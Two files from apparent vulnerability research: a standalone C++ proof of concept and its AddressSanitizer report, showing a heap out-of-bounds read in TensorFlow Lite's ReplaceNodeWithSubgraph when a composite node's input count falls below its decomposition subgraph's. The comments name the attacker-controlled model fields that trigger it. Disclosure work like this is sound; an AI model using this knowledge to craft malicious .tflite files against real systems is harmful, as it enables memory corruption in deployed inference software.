Upload 2 files

poc_stablehlo_composite_asan_output.txt

@@ -0,0 +1,54 @@
+node_inputs->size = 1 (heap-allocado con exactamente 4 bytes de 'data')
+subgraph->inputs_.size() = 5 (el subgrafo de decomposicion declara mas inputs que el nodo composite que lo invoca)
+
+Ejecutando el bucle EXACTO de ReplaceNodeWithSubgraph (subgraph.cc:2290-2309):
+  i=0 -> leyendo node_inputs->data[0] ...
+  i=1 -> leyendo node_inputs->data[1] ...
+=================================================================
+==6547==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000018 at pc 0x5b045ec4e8c6 bp 0x7ffc6fe61060 sp 0x7ffc6fe61058
+READ of size 4 at 0x602000000018 thread T0
+    #0 0x5b045ec4e8c5 in main //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_composite.cc:66
+    #1 0x7da894831f76  (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
+    #2 0x7da894832026 in __libc_start_main (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a026) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
+    #3 0x5b045ec4e270 in _start (/tmp/poc_composite+0x2270) (BuildId: cc91f1614b494915fcab0fb2863e329213390931)
+
+0x602000000018 is located 0 bytes after 8-byte region [0x602000000010,0x602000000018)
+allocated by thread T0 here:
+    #0 0x7da894ed85bf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
+    #1 0x5b045ec4e358 in CreateIntArray //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_composite.cc:38
+    #2 0x5b045ec4e4e4 in main //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_composite.cc:47
+    #3 0x7da894831f76  (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
+
+SUMMARY: AddressSanitizer: heap-buffer-overflow //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_composite.cc:66 in main
+Shadow bytes around the buggy address:
+  0x601ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+  0x601ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+  0x601ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+  0x601fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+  0x601fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+=>0x602000000000: fa fa 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa
+  0x602000000080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+  0x602000000100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+  0x602000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+  0x602000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+  0x602000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+Shadow byte legend (one shadow byte represents 8 application bytes):
+  Addressable:           00
+  Partially addressable: 01 02 03 04 05 06 07 
+  Heap left redzone:       fa
+  Freed heap region:       fd
+  Stack left redzone:      f1
+  Stack mid redzone:       f2
+  Stack right redzone:     f3
+  Stack after return:      f5
+  Stack use after scope:   f8
+  Global redzone:          f9
+  Global init order:       f6
+  Poisoned by user:        f7
+  Container overflow:      fc
+  Array cookie:            ac
+  Intra object redzone:    bb
+  ASan internal:           fe
+  Left alloca redzone:     ca
+  Right alloca redzone:    cb
+==6547==ABORTING

poc_tflite_stablehlo_composite.cc

@@ -0,0 +1,75 @@
+// FASE 4 - tflite focus-02-core-subgraph.
+//
+// Reproduccion aislada del sink real en Subgraph::ReplaceNodeWithSubgraph
+// (tensorflow/lite/core/subgraph.cc:2290-2309, commit 65857ef50bff3d9d5d2a6ffac49bf5ca72d324a6):
+//
+//   for (int i = 0; i < subgraph->inputs_.size(); ++i) {
+//     input_map[subgraph->inputs_[i]] = node.inputs->data[i];   // <-- sink real, copiado verbatim
+//   }
+//
+// TfLiteIntArray (tensorflow/lite/core/c/common.h:112-128) es un flexible-array-member real:
+//   typedef struct TfLiteIntArray { int size; int data[]; } TfLiteIntArray;
+// reproducido aqui verbatim. La asignacion heap de un TfLiteIntArray de N elementos reserva
+// exactamente sizeof(int) + N*sizeof(int) bytes (sin margen) -- estandar para FAM en C/C++,
+// mismo patron que usa TfLiteIntArrayCreate() en el repo real.
+//
+// El "atacante" aqui es el .tflite: node.inputs (tamano 1, el nodo STABLEHLO_COMPOSITE del
+// subgrafo actual tiene 1 solo input declarado) vs. subgraph->inputs_ (tamano 5, el subgrafo de
+// decomposicion referenciado por decomposition_subgraph_index declara 5 inputs) -- ambos campos
+// independientes y arbitrarios del mismo fichero .tflite, sin ninguna validacion de
+// correspondencia entre ellos en subgraph.cc (confirmado por lectura completa en FASE 3).
+
+#include <cstddef>
+#include <cstdint>
+#include <cstdio>
+#include <cstdlib>
+#include <map>
+#include <vector>
+
+// --- verbatim: tensorflow/lite/core/c/common.h:112-128 (variante no-MSVC) ---
+typedef struct TfLiteIntArray {
+  int size;
+  int data[];
+} TfLiteIntArray;
+
+// Asignacion heap de un TfLiteIntArray de N elementos: sizeof(int) [size] + N*sizeof(int) [data],
+// sin margen extra -- equivalente a como TfLiteIntArrayCreate() reserva memoria en el repo real.
+static TfLiteIntArray* CreateIntArray(int n) {
+  TfLiteIntArray* a = static_cast<TfLiteIntArray*>(malloc(sizeof(int) + n * sizeof(int)));
+  a->size = n;
+  for (int i = 0; i < n; ++i) a->data[i] = 1000 + i;  // valores de ejemplo (indices de tensor)
+  return a;
+}
+
+int main() {
+  // El nodo STABLEHLO_COMPOSITE en el subgrafo ACTUAL declara 1 solo input (Operator.inputs del
+  // flatbuffer para ESE nodo concreto -- controlado por el atacante).
+  TfLiteIntArray* node_inputs = CreateIntArray(1);
+
+  // El SubGraph DESTINO (referenciado por decomposition_subgraph_index, tambien controlado por
+  // el atacante) declara 5 inputs en su propio vector SubGraph.inputs -- perfectamente legal a
+  // nivel de schema, nada obliga a que coincida con node_inputs->size.
+  std::vector<int> subgraph_inputs_ = {10, 11, 12, 13, 14};  // 5 elementos
+
+  fprintf(stderr, "node_inputs->size = %d (heap-allocado con exactamente %zu bytes de 'data')\n",
+          node_inputs->size, node_inputs->size * sizeof(int));
+  fprintf(stderr, "subgraph->inputs_.size() = %zu (el subgrafo de decomposicion declara mas "
+                  "inputs que el nodo composite que lo invoca)\n\n",
+          subgraph_inputs_.size());
+
+  // --- verbatim: subgraph.cc:2290-2309 (Subgraph::ReplaceNodeWithSubgraph), el bucle real ---
+  fprintf(stderr, "Ejecutando el bucle EXACTO de ReplaceNodeWithSubgraph "
+                  "(subgraph.cc:2290-2309):\n");
+  std::map<int, int> input_map;
+  for (size_t i = 0; i < subgraph_inputs_.size(); ++i) {
+    fprintf(stderr, "  i=%zu -> leyendo node_inputs->data[%zu] ...\n", i, i);
+    input_map[subgraph_inputs_[i]] = node_inputs->data[i];  // <-- sink: OOB read cuando i >= 1
+  }
+
+  fprintf(stderr, "\nSi ASan no ha abortado ya, el bucle completo (i=0..4) leyo mas alla del "
+                  "unico elemento realmente reservado en node_inputs->data (indice 0) sin que "
+                  "nada lo impidiera.\n");
+
+  free(node_inputs);
+  return 0;
+}